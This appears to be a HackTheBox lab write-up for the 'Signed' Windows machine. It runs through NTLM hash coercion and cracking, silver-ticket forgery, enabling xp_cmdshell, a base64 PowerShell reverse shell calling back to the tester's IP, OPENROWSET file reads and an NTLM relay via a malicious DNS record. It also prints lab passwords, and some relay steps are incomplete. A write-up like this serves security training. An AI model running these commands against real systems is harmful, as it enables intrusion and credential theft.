Signed

📅 Last Updated: Oct 15, 2025 04:40 | 📄 Size: 18.0 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ nmap -sC -sV -Pn 10.129.245.97 -oN ./nmap.txt 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 15:13 UTC
Nmap scan report for 10.129.245.97
Host is up (0.38s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.129.245.97:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-10-13T04:17:10+00:00; -10h58m13s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-13T04:11:34
|_Not valid after:  2055-10-13T04:11:34
| ms-sql-ntlm-info: 
|   10.129.245.97:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763

Host script results:
|_clock-skew: mean: -10h58m13s, deviation: 0s, median: -10h58m14s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.21 seconds

We can find the domain name DC01.SIGNED.HTB, let's add it to /ect/hosts

We have known the credit

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

Mssql - TCP 1433

Firstly I would verify this credit

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u 'scott' -p 'Sm230#C5NatH' --local-auth                               
MSSQL       10.129.245.97   1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.245.97   1433   DC01             [+] DC01\scott:Sm230#C5NatH 

Now let's enumerate all the config

Check SysAdmin

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u 'scott' -p 'Sm230#C5NatH' --local-auth -q "SELECT IS_SRVROLEMEMBER('sysadmin') as sysadmin_check;"
MSSQL       10.129.245.97   1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.245.97   1433   DC01             [+] DC01\scott:Sm230#C5NatH 
MSSQL       10.129.245.97   1433   DC01             sysadmin_check:0

scottis not a sysadmin, so there is no xp_cmdshell

Enumerate Logins

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u 'scott' -p 'Sm230#C5NatH' --local-auth -M enum_logins
MSSQL       10.129.245.97   1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.245.97   1433   DC01             [+] DC01\scott:Sm230#C5NatH 
ENUM_LOGINS 10.129.245.97   1433   DC01             [+] Logins found:
ENUM_LOGINS 10.129.245.97   1433   DC01             [*]   - sa
ENUM_LOGINS 10.129.245.97   1433   DC01             [*]   - scott

Capture the NTLM hash

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u 'scott' -p 'Sm230#C5NatH' --local-auth -q "EXEC master..xp_dirtree '\\\\10.10.14.11\\pwn';"
MSSQL       10.129.245.97   1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.245.97   1433   DC01             [+] DC01\scott:Sm230#C5NatH 

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ sudo responder -I tun0        
[sudo] password for wither: 
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|
[+] Listening for events...                                                                                                                                                     

[SMB] NTLMv2-SSP Client   : 10.129.245.97
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:4fe520ddfa1c8c27:3263C7447962A693EBF1EBDEE1B1C0BB:0101000000000000002C1D7E553CDC0123EE3C1F1B8974FE0000000002000800340030004F00310001001E00570049004E002D005400330031005800340036003200430053005100390004003400570049004E002D00540033003100580034003600320043005300510039002E00340030004F0031002E004C004F00430041004C0003001400340030004F0031002E004C004F00430041004C0005001400340030004F0031002E004C004F00430041004C0007000800002C1D7E553CDC01060004000200000008003000300000000000000000000000003000008170912D84E791032470FC445CE63F04048D18C01533BB83F14209A28D36284A0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00310031000000000000000000       

Then we can try to crack this hash

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ hashcat mssqlsvc.hash /usr/share/wordlists/rockyou.txt 
hashcat (v7.1.2) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 1466/2932 MB (512 MB allocatable), 2MCU

/home/wither/.local/share/hashcat/hashcat.dictstat2: Outdated header version, ignoring content
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
MSSQLSVC::SIGNED:4fe520ddfa1c8c27:3263c7447962a693ebf1ebdee1b1c0bb:0101000000000000002c1d7e553cdc0123ee3c1f1b8974fe0000000002000800340030004f00310001001e00570049004e002d005400330031005800340036003200430053005100390004003400570049004e002d00540033003100580034003600320043005300510039002e00340030004f0031002e004c004f00430041004c0003001400340030004f0031002e004c004f00430041004c0005001400340030004f0031002e004c004f00430041004c0007000800002c1d7e553cdc01060004000200000008003000300000000000000000000000003000008170912d84e791032470fc445ce63f04048d18c01533bb83f14209a28d36284a0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00310031000000000000000000:purPLE9795!@

We can get the credit MSSQLSVC:purPLE9795!@

Now let's verify this credit

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u MSSQLSVC -p 'purPLE9795!@'             
MSSQL       10.129.245.97   1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.245.97   1433   DC01             [+] SIGNED.HTB\MSSQLSVC:purPLE9795!@ 

Continue to enumerate the logins

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u 'mssqlsvc' -p 'purPLE9795!@' -M enum_logins
MSSQL       10.129.245.97   1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.245.97   1433   DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@ 
ENUM_LOGINS 10.129.245.97   1433   DC01             [+] Logins found:
ENUM_LOGINS 10.129.245.97   1433   DC01             [*]   - sa
ENUM_LOGINS 10.129.245.97   1433   DC01             [*]   - ##MS_PolicyEventProcessingLogin##
ENUM_LOGINS 10.129.245.97   1433   DC01             [*]   - ##MS_PolicyTsqlExecutionLogin##
ENUM_LOGINS 10.129.245.97   1433   DC01             [*]   - scott

Now let's try to get the silver ticket Firstly get the SID

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u 'mssqlsvc' -p 'purPLE9795!@' -q "select SUSER_SID('SIGNED\Domain Admins')"
MSSQL       10.129.245.97   1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.129.245.97   1433   DC01             [+] SIGNED.HTB\mssqlsvc:purPLE9795!@ 
MSSQL       10.129.245.97   1433   DC01             b'0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'

HEX2SID

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ hex2sid '0105000000000005150000005b7bb0f398aa2245ad4a1ca400020000'
S-1-5-21-4088429403-1159899800-2753317549-512

Passwd2NTLM

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ pypykatz crypto nt 'purPLE9795!@'
ef699384c3285c54128a3ee1ddb1a0cc

Generate Ticket

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn pwn/dc01.signed.htb -groups 512,519,1105 -user-id 1103 mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
/home/wither/.local/bin/ticketer.py:843: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ export KRB5CCNAME=mssqlsvc.ccache 

Then enumerate the sysadmin

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ netexec mssql dc01.signed.htb -u mssqlsvc -k --use-kcache -q "SELECT IS_SRVROLEMEMBER('sysadmin') as sysadmin_check;"
MSSQL       dc01.signed.htb 1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       dc01.signed.htb 1433   DC01             [+] SIGNED.HTB\mssqlsvc from ccache (Pwn3d!)
MSSQL       dc01.signed.htb 1433   DC01             sysadmin_check:1

Then we can try to turn on the xp_cmdshell

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ mssqlclient.py -k dc01.signed.htb
SQL (SIGNED\mssqlsvc  dbo@master)> EXEC sp_configure 'show advanced options', 1;
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc  dbo@master)> RECONFIGURE
SQL (SIGNED\mssqlsvc  dbo@master)> EXEC sp_configure 'xp_cmdshell';
name          minimum   maximum   config_value   run_value   
-----------   -------   -------   ------------   ---------   
xp_cmdshell         0         1              0           0   

SQL (SIGNED\mssqlsvc  dbo@master)> EXEC sp_configure 'xp_cmdshell', 1;
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SIGNED\mssqlsvc  dbo@master)> RECONFIGURE
SQL (SIGNED\mssqlsvc  dbo@master)> EXEC sp_configure 'xp_cmdshell';
name          minimum   maximum   config_value   run_value   
-----------   -------   -------   ------------   ---------   
xp_cmdshell         0         1              1           1   

SQL (SIGNED\mssqlsvc  dbo@master)> EXEC xp_cmdshell 'whoami';
output            
---------------   
signed\mssqlsvc   

NULL 

Now we can try to run a reverse shell here (use Powershell #3 (Base64) revseshells.com )

SQL (SIGNED\mssqlsvc  dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA='

Then we can get the reverse shell as mssqlsvc

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Signed]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.11] from (UNKNOWN) [10.129.245.105] 62256
whoami
signed\mssqlsvc
PS C:\Windows\system32> 

Privilege escalation

I would show you 2 paths to root

Bulk Openrowset Surprisingly, we can re-forge TGS to impersonate an administrator by adding typical SIDs for built-in groups:

ticketer.py -nthash EF699384C3285C54128A3EE1DDB1A0CC \
    -domain-sid S-1-5-21-4088429403-1159899800-2753317549 \
    -domain signed.htb \
    -spn MSSQLSvc/dc01.signed.htb \
    -groups 512,519,1105 \
    -user-id 1103 \
    mssqlsvc

Due to MSSQL principal mapping, forged tickets elevate SQL sessions to the administrator security context. Then you can abusing the built-in OPENROWSET BULK function to read files normally accessible only to administrators

SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS flag;

Extracting credential material from PowerShell history, which exposes cached commands and plaintext secrets—including administrator's:

SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt',SINGLE_CLOB) AS p;

Using undiscovered credentials, calling RunasCs and a Metasploit payload to spawn a high-privilege process

.\runascs.exe administrator Th1s889Rabb!t "cmd /c c:\users\public\shell.exe"

Now you can get the reverse shell here.

NTLM Relay Attack (https://www.youtube.com/watch?v=ui2QIXa2ubo) Let's enumerate the privilege

PS C:\Users\mssqlsvc\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                        State   
============================= ================================== ========
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege       Bypass traverse checking           Enabled 
SeCreateGlobalPrivilege       Create global objects              Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set     Disabled

We have confirmed that the owned service account, mssqlsvc, has potential permissions not present in our active tokens. The next step is a classic one: relaying the service account's authentication to a privileged endpoint (Kerberos on port 88 or SMB on port 445) and exploiting these elevated tokens.

First, establish a transparent tunnel to the target localhost port. For example, using ligolo-ng

Then force SMB authentication through the tunnel:

This opens a relay vector—a classic NTLM/Kerberos relay used to escalate service account privileges. This technique has been repeatedly used in past cases (see the Mist and DarkCorp articles) and was also discussed in Synacktiv's analysis of CVE-2025-33073.

Check how the target resolves dc01.SIGNED.HTB:

C:\temp>type C:\Windows\System32\drivers\etc\hosts

       127.0.0.1       localhost
       ::1             localhost


C:\temp>nslookup dc01

DNS request timed out.
    timeout was 2 seconds.
Server:  UnKnown
Address:  ::1

Name:    dc01.SIGNED.HTB
Addresses:  dead:beef::749b:97ff:c645:7719
          10.129.196.72

Then we can use the following payload to marshal DNS

1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Then use https://github.com/fortra/impacket/tree/fix_ntlmrelayx_winrmsattackto help us add DNS record

Now we need to add malicious DNS record to target manually via dnstool.py:

python dnstool.py -u 'SIGNED.HTB\mssqlsvc' -p 'purPLE9795!@' 240.0.0.1 \
		-a 'add' \
		-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
		-d '10.10.11.13' \
		-dns-ip 240.0.0.1 \
		--tcp

From now on, when the target accesses localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, it will be treated as localhost. Traffic will then be forced to the provided attacker IP address.

We see WinRMS open on port 5986 (see the netstat -ano result above), so we run ntlmrelayx.py to relay WinRMS authentication to our attacker server:

ntlmrelayx.py -t winrms://240.0.0.1 -smb2support 

Finally, force the target to access the polluted DNS host

nxc smb 240.0.0.1 -u mssqlsvc -p 'purPLE9795!@' -M coerce_plus -o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

We have the victim's runtime NTLM hash used for winrms authentication:

Description

In general, there are many paths to root on this machine, but for the user part, it is very unstable when verifying mssql. If you always receive the prompt: "Connection refused because the domain name is not trusted", please try to change VPN or use htb's pwnbox.